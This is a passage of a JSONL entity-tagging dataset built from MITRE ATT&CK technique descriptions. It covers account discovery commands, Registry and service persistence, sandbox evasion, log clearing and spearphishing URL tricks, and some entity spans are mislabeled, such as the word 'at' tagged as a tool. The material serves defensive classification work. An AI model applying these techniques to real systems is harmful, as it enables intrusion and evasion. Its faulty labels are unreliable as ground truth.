infrastructure.\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.", "spans": {"SYSTEM: Exchange": [[433, 441], [794, 802]], "SYSTEM: SQL Server": [[807, 817]], "SYSTEM: API": [[1001, 1004]], "SYSTEM: AWS": [[1008, 1011], [1110, 1113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1489"}} {"text": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.001"}} {"text": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows. Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.", "spans": {"SYSTEM: API": [[553, 556]], "SYSTEM: Windows": [[569, 576]], "SYSTEM: Registry": [[705, 713]], "SYSTEM: Linux": [[719, 724]], "SYSTEM: macOS": [[725, 730]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1652"}} {"text": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.", "spans": {"TOOL: Net": [[329, 332]], "SYSTEM: macOS": [[379, 384]], "SYSTEM: Linux": [[417, 422]], "TOOL: PowerShell": [[457, 467]], "SYSTEM: Active Directory": [[570, 586]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.002"}} {"text": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"SYSTEM: Registry": [[48, 56], [217, 225], [876, 884]], "SYSTEM: Windows": [[121, 128]], "ORGANIZATION: Microsoft": [[485, 494]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.014"}} {"text": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564"}} {"text": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).", "spans": {"SYSTEM: Windows": [[20, 27], [1146, 1153]], "SYSTEM: Exchange": [[41, 49]], "SYSTEM: DDE": [[51, 54], [87, 90], [579, 582], [636, 639], [771, 774], [1083, 1086], [1176, 1179], [1327, 1330]], "SYSTEM: OLE": [[491, 494]], "SYSTEM: Component Object Model": [[612, 634], [1405, 1427]], "SYSTEM: Windows 10": [[658, 668]], "SYSTEM: Microsoft Office": [[681, 697], [723, 739]], "SYSTEM: Registry": [[707, 715]], "SYSTEM: Visual Basic": [[917, 929]], "SYSTEM: VBA": [[948, 951]], "SYSTEM: DCOM": [[1429, 1433]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559.002"}} {"text": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.\n\nAdversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. \n\nWhile Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.", "spans": {"SYSTEM: Access": [[848, 854]], "TOOL: at": [[868, 870]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.002"}} {"text": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.003"}} {"text": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.005"}} {"text": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.001"}} {"text": "Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. \n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1080"}} {"text": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user. \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.", "spans": {"ORGANIZATION: Microsoft": [[721, 730]], "SYSTEM: Active Directory": [[731, 747], [1046, 1062]], "SYSTEM: AWS": [[1341, 1344], [1584, 1587], [1659, 1662], [1717, 1720]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1484.002"}} {"text": "Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments). \n\nExamples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.", "spans": {"SYSTEM: MySQL": [[267, 272]], "SYSTEM: PostgreSQL": [[274, 284]], "SYSTEM: MongoDB": [[286, 293]], "ORGANIZATION: Amazon": [[295, 301]], "SYSTEM: Azure": [[331, 336]], "ORGANIZATION: Google": [[351, 357]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.006"}} {"text": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1573.001"}} {"text": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the Net utility and id and groups on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS, the dscl . list /Users command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.", "spans": {"TOOL: Net": [[263, 266]], "SYSTEM: macOS": [[322, 327], [473, 478]], "SYSTEM: Linux": [[332, 337], [374, 379]], "FILEPATH: /etc/passwd": [[445, 456]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.001"}} {"text": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).", "spans": {"ORGANIZATION: Facebook": [[982, 990]], "SYSTEM: Access": [[1531, 1537]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.001"}} {"text": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted. \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.\n \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction. \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence. \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Defense Evasion.", "spans": {"SYSTEM: macOS": [[1594, 1599], [1774, 1779]], "SYSTEM: Chrome": [[2274, 2280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176.001"}} {"text": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.", "spans": {"SYSTEM: Windows": [[22, 29], [94, 101], [273, 280]], "SYSTEM: Registry": [[847, 855], [876, 884]], "SYSTEM: Component Object Model": [[897, 919]], "SYSTEM: COM": [[921, 924]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.009"}} {"text": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.005"}} {"text": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.", "spans": {"SYSTEM: Windows": [[33, 40], [120, 127], [231, 238], [675, 682], [2081, 2088]], "SYSTEM: Windows Registry": [[374, 390]], "TOOL: at": [[472, 474]], "SYSTEM: Registry": [[629, 637], [1032, 1040], [1061, 1069]], "SYSTEM: API": [[683, 686]], "SYSTEM: Native API": [[875, 885]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.003"}} {"text": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "spans": {"SYSTEM: DNS": [[30, 33], [375, 378], [501, 504], [542, 545], [759, 762], [795, 798]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568.001"}} {"text": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.", "spans": {"SYSTEM: Windows Management Instrumentation": [[727, 761]], "TOOL: PowerShell": [[763, 773]], "SYSTEM: Registry": [[815, 823], [980, 988]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497.001"}} {"text": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence. In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).", "spans": {"SYSTEM: Unix": [[197, 201], [480, 484]], "TOOL: crontab": [[238, 245], [355, 362], [642, 649]], "SYSTEM: Linux": [[471, 476]], "TOOL: at": [[518, 520]], "FILEPATH: /var/spool/cron/crontabs/root`).": [[663, 695]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.003"}} {"text": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.", "spans": {"TOOL: Net": [[397, 400]], "SYSTEM: macOS": [[448, 453]], "SYSTEM: Linux": [[486, 491]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069.002"}} {"text": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.006"}} {"text": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.", "spans": {"TOOL: at": [[599, 601]], "DOMAIN: google.com": [[1648, 1658]], "SYSTEM: Access": [[1781, 1787]], "SYSTEM: API": [[2152, 2155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.002"}} {"text": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs", "spans": {"SYSTEM: macOS": [[68, 73]], "SYSTEM: Linux": [[78, 83]], "FILEPATH: /var/log/": [[217, 226]], "FILEPATH: /var/log/messages:": [[336, 354]], "FILEPATH: /var/log/secure": [[407, 422]], "FILEPATH: /var/log/auth.log": [[439, 456]], "FILEPATH: /var/log/utmp": [[493, 506]], "FILEPATH: /var/log/wtmp": [[523, 536]], "FILEPATH: /var/log/kern.log": [[567, 584]], "FILEPATH: /var/log/cron.log": [[613, 630]], "FILEPATH: /var/log/maillog": [[658, 674]], "FILEPATH: /var/log/httpd/": [[708, 723]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.002"}} {"text": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.004"}} {"text": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page. These persistence mechanisms can work within Outlook or be used through Office 365.", "spans": {"SYSTEM: Microsoft Office": [[25, 41], [95, 111]], "SYSTEM: Windows": [[152, 159]], "SYSTEM: Office": [[266, 272], [297, 303], [362, 368]], "SYSTEM: Outlook": [[445, 452], [503, 510], [585, 592]], "SYSTEM: Office 365": [[612, 622]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137"}} {"text": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].", "spans": {"TOOL: InstallUtil": [[20, 31], [94, 105], [269, 280], [439, 450], [520, 531], [545, 556]], "SYSTEM: Windows": [[77, 84], [371, 378]], "SYSTEM: .NET": [[249, 253], [349, 353]], "ORGANIZATION: Microsoft": [[320, 329]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework\\v": [[393, 429]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework64\\v": [[472, 510]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.004"}} {"text": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.\n\nAdversaries can use phishing kits such as 